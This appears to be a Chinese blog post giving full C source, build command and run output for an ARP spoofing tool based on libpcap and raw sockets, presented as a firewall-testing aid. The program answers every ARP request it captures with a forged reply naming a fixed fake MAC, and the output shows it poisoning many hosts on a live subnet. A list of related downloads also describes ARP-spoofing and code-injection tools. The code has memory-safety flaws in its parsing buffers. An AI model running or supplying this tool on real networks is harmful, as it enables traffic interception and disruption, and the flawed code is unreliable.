`
GDNPC
  • 浏览: 5998 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
最近访客 更多访客>>
文章分类
社区版块
存档分类
最新评论

基于libpcap的ARP欺骗工具

阅读更多

做这个工具的目的不是为了搞破坏,只是为了做防火墙测试。
由于需要模拟生产数据包,因此需要自己动手写ARP欺骗程序来回应防火墙的ARP询问。
这个程序会一直监听某个网卡,一收到ARP询问就通过rawsocket构造一个ARP回应包发送出去。
本程序有两个部分,一个是收包,基于libpcap;另一个是发包,不依赖任何第三方类库,直接通过rawsocket从链路层开始构造ARP包发出去。

#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/ether.h>
#include <netpacket/packet.h>
#pragma pack(1)

unsigned char p_src_addr[15];   //src_ip buffer
unsigned char p_dst_addr[15];   //dst_ip buffer
unsigned char p_dst_mac[17];    //dst_mac buffer
unsigned char* p_src_mac = "AA:BB:CC:DD:EE:FF";   //defined mac
unsigned char* p_interface;     //interface pointer
unsigned char buffer[8192];     //rawsocket data buffer
int s = -1;		        //socket handler
struct sockaddr_ll sa;          
int offset = 0;                 //rawsocket data offset


u_int16_t handle_ethernet(u_char *args, const struct pcap_pkthdr* pkthdr, const u_char* packet)
{
    struct ether_header *eptr;  /* net/ethernet.h */
    eptr = (struct ether_header *) packet;
    return ntohs(eptr->ether_type);
}

struct myarphdr
{
	unsigned short hw_type;           /* hardware address */
	unsigned short protocol_type;             /* protocol address */
	unsigned char hw_addr_len;       /* length of hardware address */
	unsigned char protocol_addr_len;         /* length of protocol address */
	unsigned short opcode;      /*operate code 1 ask 2 reply*/
	unsigned char src_mac[6];
	struct in_addr src_ip; 
	unsigned char dst_mac[6];
	struct in_addr dst_ip;
	unsigned char padding[18];
};

int setup_eth_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac)
{
        char s_mac[6];
        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);
        char d_mac[6];
        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);
        struct ethhdr ethernet_header;
        memcpy(ethernet_header.h_dest, d_mac, 6);
        memcpy(ethernet_header.h_source, s_mac, 6);
        ethernet_header.h_proto = htons(0x0806);
        memcpy(buffer, &ethernet_header, sizeof(struct ethhdr));
        return sizeof(struct ethhdr);
};

int setup_arp_header(unsigned char* buffer, unsigned char* src_mac, unsigned char* dst_mac, unsigned char* src_address, unsigned char* dst_address){
        char s_mac[6];
        sscanf(src_mac, "%x:%x:%x:%x:%x:%x", &s_mac[0], &s_mac[1], &s_mac[2], &s_mac[3], &s_mac[4], &s_mac[5]);
        char d_mac[6];
        sscanf(dst_mac, "%x:%x:%x:%x:%x:%x", &d_mac[0], &d_mac[1], &d_mac[2], &d_mac[3], &d_mac[4], &d_mac[5]);
        struct myarphdr arp_header;
        arp_header.hw_type = htons(0x0001);
        arp_header.protocol_type = htons(0x0800);
        arp_header.hw_addr_len = (unsigned char)6;
        arp_header.protocol_addr_len = (unsigned char)4;
        arp_header.opcode = htons(0x0002);
        memcpy(arp_header.src_mac, s_mac, 6);
        arp_header.src_ip.s_addr = inet_addr(src_address);
        memcpy(arp_header.dst_mac, d_mac, 6);
        arp_header.dst_ip.s_addr = inet_addr(dst_address);
        memset(arp_header.padding,0 , 18);
        memcpy(buffer, &arp_header, sizeof(struct myarphdr));
        return sizeof(struct myarphdr);
}

u_char* handle_arp(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
	struct ether_header *eptr;
	struct myarphdr *arp;
	
	u_int length = pkthdr->len;
	eptr = (struct ether_header*)packet;
    	arp = (struct myarphdr*)(packet + sizeof(struct ether_header));
    	
	length -= sizeof(struct ether_header); 

    	if (length < sizeof(struct myarphdr))
    	{
        	printf("<somebody has replied!src_mac:%s ",ether_ntoa((const struct ether_addr *)&eptr->ether_shost)); 
		printf("dst_mac:%s\n", ether_ntoa((const struct ether_addr *)&eptr->ether_dhost));
		return NULL;
	}

	if(htons(arp->opcode) == 2){//arp reply
		return NULL;
	}

	memset(p_dst_mac, 0, sizeof(p_dst_mac));
	memcpy(p_dst_mac, ether_ntoa((const struct ether_addr *)&eptr->ether_shost), sizeof(p_dst_mac));

	memset(p_src_addr, 0, sizeof(p_src_addr));
	memset(p_dst_addr, 0, sizeof(p_dst_addr));
	memcpy(p_src_addr, inet_ntoa(arp->dst_ip), sizeof(p_src_addr));
	memcpy(p_dst_addr, inet_ntoa(arp->src_ip), sizeof(p_dst_addr));

        if(s < 0){
		s = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
		if(s < 0){
                	printf("Could not open raw socket.\n");
                	exit(-1);
		}
        }
	
        memset(buffer, 0 ,sizeof(buffer));
        offset = 0;
	
        sa.sll_ifindex  = if_nametoindex(p_interface);
	
        offset = setup_eth_header(buffer, p_src_mac, p_dst_mac);
        offset += setup_arp_header(buffer + offset, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);

        if(sendto(s, buffer, offset, 0, (struct sockaddr *) &sa, sizeof(sa)) < 0){
        	printf("arp send error!\n");
                exit(-1);
        }else{
                printf("[ARP]inter:%s src_mac:%s dsc_mac:%s src_ip:%s dst_ip:%s\n", p_interface, p_src_mac, p_dst_mac, p_src_addr, p_dst_addr);
        }

    return NULL;
}
void my_callback(u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){
	u_int16_t type = handle_ethernet(args, pkthdr, packet);

	if(type == ETHERTYPE_ARP){
		handle_arp(args,pkthdr,packet);
    	}
}

int main (int argc, char* argv[]){
        if(argc < 2){
                printf("usaged:%s interface\n", argv[0]);
                return 0;
        }
	p_interface = argv[1];	

	char ebuf[PCAP_ERRBUF_SIZE];
        /*create capture handler of libpcap*/
	pcap_t *pd = pcap_open_live (argv[1], BUFSIZ, 1, -1, ebuf);
        /*start the loop of capture, loop 5 times, enter printer when capted*/
	pcap_loop (pd, -1, my_callback, NULL);

	pcap_close (pd);

	if(s > 0){
		close(s);
	}
        return 0;
  }

 编译后执行:

[root@cnszxxxx xxxx]# gcc -o arp_trick arp_trick.c -lpcap

 执行效果如下:

[root@cnszxxxx xxxx]# ./arp_trick eth0
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:46:c9 src_ip:10.11.77.200 dst_ip:10.11.77.60
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:52:29 src_ip:10.11.77.200 dst_ip:10.11.77.79
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:2b:cd
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.43 dst_ip:10.11.77.108
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:f:1f:69:7b:fa src_ip:10.11.77.56 dst_ip:10.11.77.108
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:50:56:83:16:1c src_ip:10.11.77.40 dst_ip:10.11.77.41
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:50:56:83:16:1c
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.61 dst_ip:10.11.77.62
[ARP]inter:eth0 src_mac:AA:BB:CC:DD:EE:FF dsc_mac:0:1d:9:9:bd:53 src_ip:10.11.77.40 dst_ip:10.11.77.62
somebody has replied!src_mac:0:50:56:83:35:85 dst_mac:0:1d:9:9:bd:53
 

 

分享到:
评论

相关推荐

    arp欺骗源码

    描述中提到的"一个基于arp欺骗工具的源码,欺骗目标ip可以插入指定代码",意味着这个源码不仅能够执行ARP欺骗,还具备在欺骗过程中向目标IP注入特定代码的能力。这可能涉及到网络嗅探、数据包构造和注入等高级技巧,...

    arp.rar_arp抓包工具_libpcap_libpcap qt_pcap arp_qt 抓包

    标题中的“arp.rar_arp抓包工具_libpcap_libpcap qt_pcap arp_qt 抓包”揭示了我们讨论的主题是关于一个基于libpcap库,并使用Qt框架开发的ARP(Address Resolution Protocol)网络数据包捕获工具。这个工具主要用于...

    win-ArpSpoofer:使用 libpcap 和 libnet 为 windows 用 C 语言制作的 Arp 欺骗器

    《win-ArpSpoofer:基于libpcap和libnet的C语言实现Windows ARP欺骗工具详解》 在网络安全领域,ARP(Address Resolution Protocol)欺骗是一种常见的攻击手段,它通过篡改网络中的ARP缓存,使得数据包被错误地转发...

    基于WinpCap的局域网ARP工具.docx

    - **实现影响**:ARP工具的实现可能受到如“网络执法官”等已存在的网络管理软件的影响,这些软件可能有特殊的防护措施,使得ARP欺骗更加复杂。 - **参考文献**:文中提到了两篇重要的参考资料,一篇是TOo2y大侠的...

    基于WINPCAP ARP数据包捕获

    通过以上步骤,我们可以创建一个简单的ARP数据包捕获工具,用于监控网络中的ARP通信,这对于识别ARP欺骗、检测网络故障以及理解网络流量有极大的帮助。 在实际应用中,可能还需要结合其他工具和知识,例如,使用...

    linux下面 arp协议实现和测试用例

    3. ARP欺骗防御:检查系统是否能够检测和防止ARP欺骗攻击,如使用反ARP欺骗工具(如`arpd`或`arpspoof`)进行测试。 4. 未响应的ARP请求:测试主机在没有收到响应时的行为,比如超时重试策略。 5. ARP广播:验证主机...

    ARP攻击小程序

    ARP欺骗是攻击者发送伪造的ARP响应,使得受害者将攻击者的MAC地址误认为是其他合法主机的MAC地址,从而将数据发送给攻击者,而非真正的目标。ARP缓存中毒是ARP欺骗的一种形式,它通过不断发送虚假的ARP消息,使受害...

    Qt:Qt实现飞秋拦截助手—ARP攻击 完整项目代码

    3. 对网络嗅探和数据包解析有一定的了解,可能需要用到libpcap库或其他网络抓包工具。 4. 熟悉ARP攻击和ARP欺骗的实现方式,以及如何在程序中模拟这些攻击行为。 5. 了解飞秋或者类似的即时通讯软件的通信协议,以...

    ARP.zip_arp

    4. **ARP欺骗**:网络安全的一个重要话题,攻击者可以通过发送虚假的ARP响应来操纵 ARP缓存,将流量重定向到错误的设备,如中间人攻击。 5. **编程实现**:在Python、C、C++或其他编程语言中发送ARP数据包通常涉及...

    Linux系统下ARP数据包截取和分析.pdf

    ARP协议主要用于解决IP地址到物理地址(MAC地址)的映射问题,但同时也可能成为网络攻击的工具,如IP冲突、ARP欺骗和ARP溢出等。了解ARP数据包的工作原理及如何高效截取和分析这些数据包,对于监控网络流量、检测...

    sniffer_linux.rar_Sniffer_arp sniffer_sniffer linux_sniffer linu

    这个工具可能就是基于libpcap来实现的,可以实时监测网络接口上的数据包,记录其详细信息,包括源和目标地址、端口、协议类型等。 通过分析这个工具,用户不仅可以学习到网络嗅探的基本概念,还可以了解到如何在...

    易语言ARP扫描器源码.7z

    ARP扫描器是网络诊断工具,用于检测局域网内的ARP欺骗攻击。在本文中,我们将详细探讨易语言 ARP 扫描器源码的相关知识点,以及如何利用这些源码理解和实现网络扫描功能。 一、易语言基础 易语言的特色在于其简洁...

    vc++局域网扫描+(反)嗅探+欺骗+攻击程序

    "欺骗",特别是ARP欺骗(Address Resolution Protocol),是一种网络攻击技术,通过伪造ARP响应误导目标设备将数据包发送至攻击者。T-ARP.CPP可能包含实现ARP欺骗的代码。在VC++中,可以使用WinPcap库(现在通常称为...

    网络嗅探器,基于jpcap

    IP欺骗涉及改变数据包的源或目标IP地址,而ARP欺骗则是在局域网内篡改ARP缓存,将流量导向嗅探器。 **网络安全与隐私** 虽然网络嗅探器在故障排查和安全审计中有其价值,但它也带来了潜在的安全风险。未经授权的...

    12网络抓包工具SharpPCap1

    【网络抓包工具SharpPCap】是用于网络数据包捕获和分析的工具,它基于开源项目SharpPcap,此项目提供了.NET平台下利用libpcap/WinPcap库进行开发的API。SharpPcap支持多种网络协议,如Ethernet、IPv4、IPv6、TCP、...

    SharpPcap

    ARP欺骗,或称ARP代理,是利用ARP协议的缺陷,通过发送虚假的ARP响应,将网络中其他设备的流量重定向到攻击者的机器上。在开发过程中,SharpPcap提供了发送和接收ARP数据包的功能,使得开发者能够实现这一过程。同时...

    MITMf.zip_it

    例如,`mitmf.py --iface &lt;interface&gt;`用来指定监听的网络接口,`--spoof --arp --target &lt;target&gt;`用于执行ARP欺骗,将受害者指向攻击者。 通过阅读MITMf.txt文件,你可以获取更详细的使用指南、示例以及可能的...

    网络嗅探器mysniff

    对于网络安全方面,嗅探器可以帮助检测潜在的攻击行为,如ARP欺骗、DNS篡改或者中间人攻击。通过分析数据包的源IP、目标IP和端口,以及数据包的内容,我们可以识别出异常模式并及时采取防御措施。 在实际操作中,...

Global site tag (gtag.js) - Google Analytics